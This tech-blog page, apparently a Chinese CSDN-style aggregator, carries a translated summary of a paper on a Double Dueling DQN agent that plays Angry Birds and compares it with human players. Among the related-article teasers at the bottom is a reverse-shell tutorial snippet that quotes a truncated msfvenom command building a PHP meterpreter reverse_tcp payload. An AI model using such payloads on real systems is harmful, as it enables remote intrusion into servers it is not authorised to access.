当前位置: 首页 > 编程日记 > 正文

你当年没玩好的《愤怒的小鸟》,AI现在也犯难了

640?wx_fmt=jpeg
(图片源自百度百科)

作者 | Ekaterina Nikonova,Jakub Gemrot
译者 | Tianyu
出品 | AI科技大本营(ID:rgznai100)
现在说起《愤怒的小鸟》游戏,要把人的回忆一下拉扯到差不多十年前了。
它是一款当时一经推出就广受欢迎的游戏,玩家可以用弹弓把若干只小鸟弹射出去,目标是摧毁所有绿色的猪,并获得尽可能高的分数,经常有很多猪藏在复杂的结构之中。由于顺序的决策、不确定的游戏环境、复杂的状态和动作、功能特性不同的鸟,以及最佳弹射时机等因素,都使得《愤怒的小鸟》很难拥有一款好的 AI 代理。
近日,来自捷克查理大学的研究者发布论文《Deep Q-Network for Angry Birds》称,他们采用 DDDQN(Double Dueling Deep Q-network)算法实现了一款深度强化学习应用,可以用来玩《愤怒的小鸟》。他们的目的之一是创造一个游戏智能体,可以基于之前玩家在前21关的游戏记录来进行游戏闯关。
为了实现这一目的,他们收集了游戏记录的数据集,为 DQN 游戏代理提供了多种多样的方案。游戏中需要做很多有关顺序的决策,两次弹射之间会相互影响,每一次弹射的精准度也很重要。例如,一次糟糕的决策可能会导致一只猪被若干个物体卡住。因此,为了更好地完成游戏中的任务,游戏代理要有基于决策对结果进行预测和模拟的能力。
以下为《Deep Q-Network for Angry Birds》论文的内容概述:

相关工作

2012年,首次举办了《愤怒的小鸟》 AI 大赛,随之出现了很多款游戏代理。在这里介绍两款比较优秀的代理,第一个是由来自捷克技术大学的队伍所开发的 Datalab Birds 2014,该游戏代理至今保持着第三名的位置。就像他们在论文中描述的,他们的主要思想是基于当前环境、可能的弹射轨迹和鸟的类型来制定最佳策略。第二个是由滑铁卢大学和 Zazzle 在 2017 《愤怒的小鸟》AI 大赛中共同开发的 Eagles Wings 智能玩家,他们的代理目前排在第 16 位。据称,该游戏代理基于人工调试过的结构分析,即在多个策略中做选择,开发了一项简单的多策略能力。他们使用了机器学习算法 xgboost 学习决策制定能力。

背景介绍

为了解决《愤怒的小鸟》中的顺序决策问题,我们基于每个时间步长来考虑游戏环境 ε 。在每个时间步长 t,代理都会得到观察值St,然后从可能的动作集中选择一个动作 640?wx_fmt=png,接下来会得到奖励项640?wx_fmt=png。接下来代理的目标是基于下面的公式将奖励项最大化:
640?wx_fmt=png
在上面的公式中,s 为当前状态,a 为所选的动作,640?wx_fmt=png为奖励项,640?wx_fmt=png是权重系数,来决定奖励项对未来结果的重要性。现在我们定义最佳 Q 值如下:

640?wx_fmt=png
在每个状态选择最大值所对应的动作,我们就可以获得最佳策略。

DQN 算法理论基础

为了模拟最佳 action-value 函数,我们使用深度神经网络作为非线性函数逼近器,我们定义一个逼近函数:
640?wx_fmt=png

其中,640?wx_fmt=png为 Q 网络进行第 i 次迭代的权重。
如论文中所说,将强化学习算法与非线性函数逼近器,如神经网络,结合使用会不稳定,甚至产生偏移,原因如下:a) 序列中观察值之间的关联性;b) Q 值与 target 值 640?wx_fmt=png之间的关联性;c) 该方法对 Q 值的变化极其敏感。
Deep Q-learning 试图用技术解决第一个问题,即经验回放。该技术通过将所收集的数据随机化,去除了序列中观测值之间的相关性。我们对经验的定义如下:

640?wx_fmt=png
其中,640?wx_fmt=png为 t 时刻的状态,640?wx_fmt=png为 t 时刻采取的动作,640?wx_fmt=png为 t+1 时刻的奖励,640?wx_fmt=png为执行640?wx_fmt=png后的状态。我们将经验保存在经验集中:

640?wx_fmt=png
接下来,我们从经验集 M 中抽样出部分经验,在 Q 网络中对 Q 值进行更新。
为了解决第二个问题,需要用到下面的损失函数:

640?wx_fmt=png
其中,i 为迭代次数,640?wx_fmt=png为权重系数,640?wx_fmt=png为实时网络的权重,640?wx_fmt=png为目标网络的权重。
接下来,我们 DQN 的目标如下:

640?wx_fmt=png

A. Double Deep Q-Networks

原始的 DQN 算法对动作选择和动作表现的评估两个步骤都采用了最大值,这很可能导致过度估计。基于这一缺陷,Double Q-learning 算法产生了。不同于传统 DQN 算法仅使用一个神经网络,如今我们使用一个网络选择动作,再使用另一个网络对所做的决策进行评估。因此,我们可以将原始的 Q-learning 目标改写为:
640?wx_fmt=png
其中,640?wx_fmt=png为实时权重,640?wx_fmt=png为第二个权重集,即用实时权重进行动作选择,用第二个权重对其评估。幸运的是,同样的方法也可以应用到 DQN 算法中,我们可以对更新函数进行替换,如下:
640?wx_fmt=png
其中,640?wx_fmt=png为 DQN 的实时权重,640?wx_fmt=png为目标 DQN 的权重。

B. Dueling Deep Q-Networks

在某些场景中,不同动作获得的值是很接近的,没必要对每个动作进行评估。在《愤怒的小鸟》中,有时候玩家会陷入某种无解的处境,如猪被一些物体卡住了。在这种情况下,无论采取什么动作都是一样的结果,因此任何动作的得分都是几乎一样的,而我们只在意这个状态本身的分数。考虑到对这些场景的优化,Dueling 结构应运而生了。为了实现 Dueling Q-learning 结构,我们需要使用两个全连接层。将卷积层的输出分成两部分后,我们需要再把它们结合以获得 Q 函数。首先定义价值函数:
640?wx_fmt=png
优势函数为:
640?wx_fmt=png
也就是说,价值函数可以告诉我们某个具体状态的好坏程度,而优势函数告诉我们每个动作的重要性。这样我们可以构造我们的第一个全连接层,得到输出640?wx_fmt=png,以及第二个全连接层,可得到输出640?wx_fmt=png,此处的 α 和 β 都是全连接层的权重,θ 为卷积层的权重。为了将两个值结合并获得 Q 值,我们定义网络的最后一个模块如下:
640?wx_fmt=png
这样我们就得到了价值估计函数和优势估计函数,将其与之前定义好的 Deep Q-network 和 Double Q-learning 结合使用,就可以用在《愤怒的小鸟》这款游戏中了。

将 DQN 应用于 AIBIRDS

为了将 DQN 应用于《愤怒的小鸟》,我们首先需要定义:a) 状态,b) 动作,c) Q-network 结构,d) 奖励函数。AIBirds 竞赛组织方提供了可以对游戏进行截图的软件,可以得到 840x480 像素的图片。图1为逐步处理图片的过程。
640?wx_fmt=png
图1:游戏截图的处理过程,从左到右:原始截图,剪裁,调整大小,标准化
我们规定动作为640?wx_fmt=png,其中每个数字代表射出的角度。接下来,我们基于软件为每个给定角度找到最终的释放点。为了计算释放点,轨迹模块首先寻找弹弓的参考点,然后计算释放点。
我们的 DQN 结构是基于 Google DeepMind DQN 的,图2为我们的 DQN 结构。该模型包括4个卷积层,kernel 分别为 8x8,4x4,3x3,7x7,strides 分别为 4x4,2x2,2x2,1x1。最后一个卷积层后面连接了两个 flatten 层,最后结合生成 Q 值。
640?wx_fmt=png图2:Double Dueling DQN 结构
奖励函数所使用的技术通常被称为奖励修剪(reward clipping)。这种方法将很大或很小的分数修剪为1或-1分的得分,来代表一个好动作或坏动作。《愤怒的小鸟》这款游戏的主要目标除了过关,还要活得尽可能高的分数。考虑到这一点,我们需要改变奖励函数,如下:

640?wx_fmt=png
上式中,score 为 s 状态下采用动作 a 后的分数,maximum score of current level 为当前关卡的历史最高得分。基于这个公式,我们期望游戏代理可以学习分数的重要性,并通过学习动作的奖励机制来刷新当前关卡的得分。

A. 训练集

我们的训练集包括《愤怒的小鸟》经典系列的21个关卡。在训练阶段,游戏代理基于 115000 张图进行网络的训练。在游戏截屏前,代理需要等候5秒钟。这一项小调整是必需的,为了让鸟被发射后所产生的震动得以平复下来。

B. 验证集

我们的验证集包括《愤怒的小鸟》经典系列的10个关卡。由于代理的训练集中只有红鸟、蓝鸟和黄鸟,所以我们不得不挑选没有新鸟的关卡作为验证集。从第二页和第三页挑选的关卡比第一页的难度要高一些。在玩这些关卡时,玩家必须找到一些不太明显的结构上的弱点,并提前仔细规划策略。

结果

我们对竞赛中几个参赛结果进行了对比,如图3。对不同的代理结果进行对比,可以帮助我们了解哪项 AI 技术更适用于《愤怒的小鸟》这款游戏。然而我们仍然无法搞清楚的是,和人类比起来这些游戏代理表现如何。
640?wx_fmt=png
图3:几个不同的 DQN 代理对比
本篇论文中,我们还进行了 AI 和人类的对比。人类参赛者可以进行无数次尝试,直到参赛者觉得已经获得了自己的最佳分数。我们从不同水平的人中挑选参与实验者,玩家1和玩家3有玩《愤怒的小鸟》的4年游戏经验。玩家2很久之前玩过几次这款游戏,没有太多经验。玩家4过去常常玩这款游戏,但最近没怎么玩过。
如图4所示,我们的游戏代理在总分上超过了一个人类玩家,而输给了其他玩家。产生这一结果的主要原因是,代理无法通过第18关。在其他关卡中,代理可以在某些关卡上超过一些玩家。总的来说,我们的 DQN 代理在前21关获得了 1007189 分,它败给了四位人类玩家中的三位。因此我们的代理还存在非常大的提升空间。

640?wx_fmt=png

图4:DQN 代理与人类玩家的游戏得分对比
图5位代理在验证集上的表现。如我们所料,对于代理之前没有见过的关卡,大都无法通过。
640?wx_fmt=png
图5:DQN 代理在验证集上的结果

《愤怒的小鸟》 AI 大赛结果

除了将我们的代理与人类玩家进行对比以外,我们在 IJCAI-2018 大会上做了展示,参加了《愤怒的小鸟》 AI 大赛。该竞赛本身包括三轮:四分之一决赛、半决赛和总决赛。每一轮中,参赛的游戏代理要面对 8 个之前未见过的关卡。
表1展示了四分之一赛中全部游戏代理的总分数,在全部基于神经网络的代理中,我们的 DQ-Birds 表现最好,通过了 8 个关卡中的 3 个。MYTBirds 也使用了神经网络,但只通过了一个关卡。其它代理均使用了除神经网络以外的方法。

640?wx_fmt=png

表1

结论

对于 AI 代理来说,《愤怒的小鸟》这款游戏始终是一项艰巨的任务。我们提出了一种基于 Double Dueling DQN 的游戏代理来试图解决游戏中的顺序决策问题。在目前的研究工作中,我们没有达成的目标是在这款游戏中超越人类玩家。但好的一点是,我们的代理只需要一次机会就可以通关。另外有趣的是,在大多数情况下,它只用了一次精准的弹射就击中了关键点,通过了关卡。
总之,尽管我们的代理超过了部分之前的玩家,并在 AIBirds 比赛中超过了部分参赛者,但仍存在很大的进步空间。例如,我们可以尝试在奖励函数中加入超参数。我们还可以尝试如今已公开的全部深度强化学习优化技术。下一步,我们计划基于更多的游戏关卡对游戏代理进行训练。

(*本文为 AI科技大本营编译文章,载请微信联系 1092722531


精彩推荐


早鸟票倒计时最后1天,扫码购票立减2600元

2019 中国大数据技术大会(BDTC)再度来袭!豪华主席阵容及百位技术专家齐聚,15 场精选专题技术和行业论坛,超强干货+技术剖析+行业实践立体解读,深入解析热门技术在行业中的实践落地。

640?wx_fmt=png

推荐阅读

  • 简单粗暴上手TensorFlow 2.0,北大学霸力作,必须人手一册

  • 分析Booking的150种机器学习模型,我总结了6条教训

  • 微软也爱Python:VS Code Python全新发布!Jupyter Notebook原生支持终于来了

  • 如何保护你的Python代码(一)——现有加密方案

  • 罗永浩向老同事道歉;三星漏洞已波及四千万用户;Clojure 1.11 即将发布 | 极客头条

  • 真·上天!NASA招聘区块链"多功能复合型"人才, 欲保护飞行数据安全……

  • 10 月全国程序员工资统计,一半以上的职位 5 个月没招到人

  • 【光说不练假把式】今天说一说Kubernetes 在有赞的实践

640?wx_fmt=png

你点的每个“在看”,我都认真当成了喜欢

相关文章:

msf反弹shell

今天回顾了一下msf反弹shell的操作&#xff0c;在这里做一下记录和分享。(&#xffe3;︶&#xffe3;)↗ 反弹shell的两种方法 第一种Msfvenom实例&#xff1a; 1、msfconsole    #启动msf 2、msfvenom -p php/meterpreter/reverse_tcp LHOST<Your IP Address> LPOR…

mysql 5.5半同步复制功能部署

安装、配置Semi-sync Replication在两台主机上安装好MySQL5.5&#xff0c;编译好的插件在目录CMAKE_INSTALL_PREFIX/lib/plugin下&#xff08;默认是/usr/local/mysql/lib/plugin&#xff09;。例如这里编译是指定CMAKE_INSTALL_PREFIX为/home/mysql/mysql&#xff0c;则有&…

Windows7/10上配置OpenCV3.3.0-Python3.6.2操作步骤

目前OpenCV无论是2.4.x还是最新的3.3.0版本&#xff0c;默认支持的都是Python 2.7版本。这里介绍下如何使OpenCV 3.3.0支持Python 3.6.2的操作步骤&#xff1a;1. 从 https://github.com/opencv/opencv/releases/tag/3.3.0 下载3.3.0.zip或opencv-3.3.0-vc14.exe&#xff0c;…

manage.py命令

一、manage.py命令选 manage.py是每个Django项目中自动生成的一个用于管理项目的脚本文件&#xff0c;需要通过python命令执行。manage.py接受的是Django提供的内置命令。 内置命令包含 checkdbshelldiffsettingsflushmakemigrationsmigraterunservershellstartappstartproject…

图灵奖得主Bengio再次警示:可解释因果关系是深度学习发展的当务之急

&#xff08;图片付费下载自视觉中国&#xff09;作者 | Will Knight译者 | Monanfei来源 | Wired出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;深度学习擅长在大量数据中寻找模式&#xff0c;但无法解释它们之间的关系。图灵奖获得者 Yoshua Bengio 希望改变这一状…

解决jQuery不同版同时引用的冲突

今天研发的同事在开发一个新jQuery插件时&#xff0c;遇到一个揪心的问题。平台以前使用的 jQuery版本是1.2.6&#xff0c;偶&#xff0c;天啊&#xff01;这是古代的版本啊&#xff01; 由于很多功能基于老版本&#xff0c;不能删除啊&#xff0c;同志们都懂的&#xff01; 于…

TensorFlow中的计算图

作者 | stephenDC来源 | 大数据与人工智能&#xff08;ID:ai-big-data&#xff09;1 什么是计算图&#xff1f;一个机器学习任务的核心是模型的定义以及模型的参数求解方式&#xff0c;对这两者进行抽象之后&#xff0c;可以确定一个唯一的计算逻辑&#xff0c;将这个逻辑用图表…

java设计模式-适配器模式

模式导读: 每个人都有自己不同的需要&#xff0c;每个人都有自己能够接受的不同方式&#xff0c;就像是为满足现在快速度发展的社会&#xff0c;几乎人人离不开手机的时代&#xff0c;我们也许会碰到在外出行手机电量不足的情况&#xff0c;这个时候如果你在车站&#xff0c;你…

Ubuntu 14.04 64位上安装Valgrind 3.13.0 操作步骤

关于Valgrind的介绍和使用可以参考&#xff1a; http://blog.csdn.net/fengbingchun/article/details/50196189 在Ubuntu 14.04上可以通过以下命令直接安装Valgrind&#xff0c;直接通过命令安装的版本是3.10.1&#xff0c;如下图&#xff0c;有些较老&#xff0c;目前最新版本…

粗谈Android中的对齐

在谈这个之前先啰嗦几个概念。 基线&#xff1a;书写英语单词时为了规范书写会设有四条线&#xff0c;从上至下第三条就是基线。基线对齐主要是为了两个控件中显示的英文单词的基线对齐&#xff0c;如下所示&#xff1a; Start&#xff1a;在看API的时候经常会有Start对齐&…

OpenCV3.3中逻辑回归(Logistic Regression)使用举例

OpenCV3.3中给出了逻辑回归(logistic regression)的实现&#xff0c;即cv::ml::LogisticRegression类&#xff0c;类的声明在include/opencv2/ml.hpp文件中&#xff0c;实现在modules/ml/src/lr.cpp文件中,它既支持两分类&#xff0c;也支持多分类&#xff0c;其中&#xff1a;…

多数编程语言里的0.1+0.2≠0.3?

作者 | Parul Malhotra译者 | Raku出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;我们从小就被教导说0.10.20.3&#xff0c;但是在奇妙的计算机编程世界里面&#xff0c;事情变得不一样了。我最近在用JavaScript编程&#xff0c;正在阅读数据类型的时候&#xff0c;…

iOSSharing #9 | 2019-05-19

目录 1. setNeedsLayout、layoutIfNeeded与layoutSubviews区别&#xff1f; 2. UIView与CALayer的区别&#xff1f; 3. loadView什么时候被调用&#xff1f;它有什么作用&#xff1f;默认实现是怎么样的&#xff1f; 4. UIViewController的完整生命周期&#xff1f; 5. UIView动…

分表处理(三)

一、概述分表是个目前算是比较炒的比较流行的概念&#xff0c;特别是在大负载的情况下&#xff0c;分表是一个良好分散数据库压力的好方法。首先要了解为什么要分表&#xff0c;分表的好处是什么。我们先来大概了解以下一个数据库执行SQL的过程&#xff1a;接收到SQL –> 放…

逻辑回归(Logistic Regression)简介及C++实现

逻辑回归(Logistic Regression)&#xff1a;该模型用于分类而非回归&#xff0c;可以使用logistic sigmoid函数( 可参考&#xff1a;http://blog.csdn.net/fengbingchun/article/details/73848734 )将线性函数的输出压缩进区间(0,1)&#xff1a; p(y1| x;θ)σ(θTx).逻辑回归是…

CVPR 2019论文阅读:Libra R-CNN如何解决不平衡对检测性能的影响?

作者 | 路一直都在出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;Paper link&#xff1a;https://arxiv.org/pdf/1904.02701.pdfCode link&#xff1a;https://github.com/OceanPang/Libra_R-CNNAbstract在目标检测中&#xff0c;人们更关注的往往是模型结构&#x…

实现nginx上配置免费证书Let's Encrypt

Lets Encrypt 的免费证书有效期为三个月&#xff0c;不过可以免费续期&#xff0c;写一个脚本定期更新即可。 准备一台nginx 服务器 &#xff0c;将以下三个附件上传到你的nginx服务器。 1、下载脚本文件&#xff0c;wget https://raw.githubusercontent.com/xdtianyu/scripts/…

深入解析Windows操作系统笔记——CH1概念和术语

1.概念和工具 本章主要介绍Windows操作系统的关键概念和术语 1.概念和工具... 1 1.1操作系统版本... 1 1.2基础概念和术语... 2 1.2.1Windows API2 1.2.2 服务、函数和例程... 3 1.2.3 进程、线程和作业... 4 1.2.3.1 进程... 4 1.2.3.2 线程... 4 1.2.3.3 虚拟地址描述符... 4…

C++/C++11中std::exception的使用

std::exception&#xff1a;标准异常类的基类&#xff0c;其类的声明在头文件<exception>中。所有标准库的异常类均继承于此类&#xff0c;因此通过引用类型可以捕获所有标准异常。 std::exception类定义了无参构造函数、拷贝构造函数、拷贝赋值运算符、一个虚析构函数和…

技术不错的程序员,为何面试却“屡战屡败”

为何很多有不少编程经验&#xff0c;技术能力不错的程序员&#xff0c;去心仪公司面试时却总是失败&#xff1f;至于失败的原因&#xff0c;可能很多人都没意识到过。01想要通关面试&#xff0c;千万别让数据结构拖了后腿很多公司&#xff0c;比如 BAT、Google、Facebook&#…

FastJson 转换 javaBean 时 null 值被忽略都问题

[toc] 问题 当 JavaeBean 中某个属性值为 null 时&#xff0c;转换为 JSONObject 对象或者 json 字符串时&#xff0c;该属性值被忽略。如何让不管值是否为 null&#xff0c;转化后该属性还存在&#xff0c;只是值为 null。 情况演示 class St {private String sid;private Str…

来玩Play框架07 静态文件

作者&#xff1a;Vamei 出处&#xff1a;http://www.cnblogs.com/vamei 欢迎转载&#xff0c;也请保留这段声明。谢谢&#xff01; Play框架的主要功能是提供动态响应的内容。但一个网络项目中必然有大量的静态内容&#xff0c;比如图片、Javascript文件、CSS文件等。我下面介绍…

C++/C++11中std::runtime_error的使用

std::runtime_error&#xff1a;运行时错误异常类&#xff0c;只有在运行时才能检测到的错误&#xff0c;继承于std::exception&#xff0c;它的声明在头文件<stdexcept>中。std::runtime_error也用作几个运行时错误异常的基类&#xff0c;包括std::range_error(生成的结…

估值被砍700亿美元后,Waymo发重磅公开信:即将推出全自动驾驶打车服务

&#xff08;图片源自 Waymo 官网&#xff09;编译 | 夕颜出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;近日&#xff0c;据 Reddit 盛传的一封电子邮件副本显示&#xff0c;Alphabet 旗下的自动驾驶汽车公司 Waymo 已经向其自动驾驶服务的用户发送了一封电子邮件&…

Swoft 2 Beta 发布,基于 Swoole 的云原生协程框架

Swoft 是首个基于 Swoole 原生协程的框架&#xff0c;从开发到发布据今已有2年多。 1.x 发布以来&#xff0c;已有大量的开发人员和企业使用&#xff0c;得到了大家的认可。从去年11月份开始&#xff0c;将近半年的时间从零开始&#xff0c;底层吸取之前经验&#xff0c;基于 S…

Linux中源码包的管理

什么是开放源码&#xff0c;编译程序和可执行文件开放源码&#xff1a;就是程序代码,写给人类看的程序语言,但机器不认识,所以无法执行&#xff1b;编译程序&#xff1a;将程序代码转译成为机器看得懂的语言&#xff1b;可执行文件&#xff1a;经过编译程序变成二进制程序后,机…

支持向量机(SVM)简介

支持向量机(support vector machine, SVM)&#xff1a;是监督学习中最有影响力的方法之一。类似于逻辑回归&#xff0c;这个模型也是基于线性函数wTxb的。不同于逻辑回归的是&#xff0c;支持向量机不输出概率&#xff0c;只输出类别。当wTxb为正时&#xff0c;支持向量机预测属…

首届中文NL2SQL挑战赛:千支队伍参赛,国防科大夺冠

&#xff08;图片由AI科技大本营付费下载自视觉中国&#xff09;整理 | Jane出品 | AI科技大本营&#xff08;ID&#xff1a;rgznai100&#xff09;【导语】10月12日&#xff0c;追一科技主办的首届中文NL2SQL挑战赛在激烈的决赛中落下帷幕&#xff0c;冠军由国防科技大学学生组…

怎么使用CAD编辑器来打开图纸中的所有图层

在CAD绘图中&#xff0c;建筑设计师们不仅要对CAD图纸进行编辑&#xff0c;还要对CAD图纸进行查看&#xff0c;一张图纸中是有许多图层的&#xff0c;那在查看的过程中有的时候把其他的图层进行隐藏了&#xff0c;那如果想要把隐藏的CAD图层进行打开要怎么操作&#xff1f;如何…

域名年龄-SEO搜索引擎优化

为什么80%的码农都做不了架构师&#xff1f;>>> 域名年龄-SEO搜索引擎优化 在我们创建一个新的网站时&#xff0c;我们首先考虑到的是去注册一个新的域名。 有时发现我们 要注册的域名已经被注册了&#xff0c;于是就有两种方式&#xff1a; 一、重新注册另外的…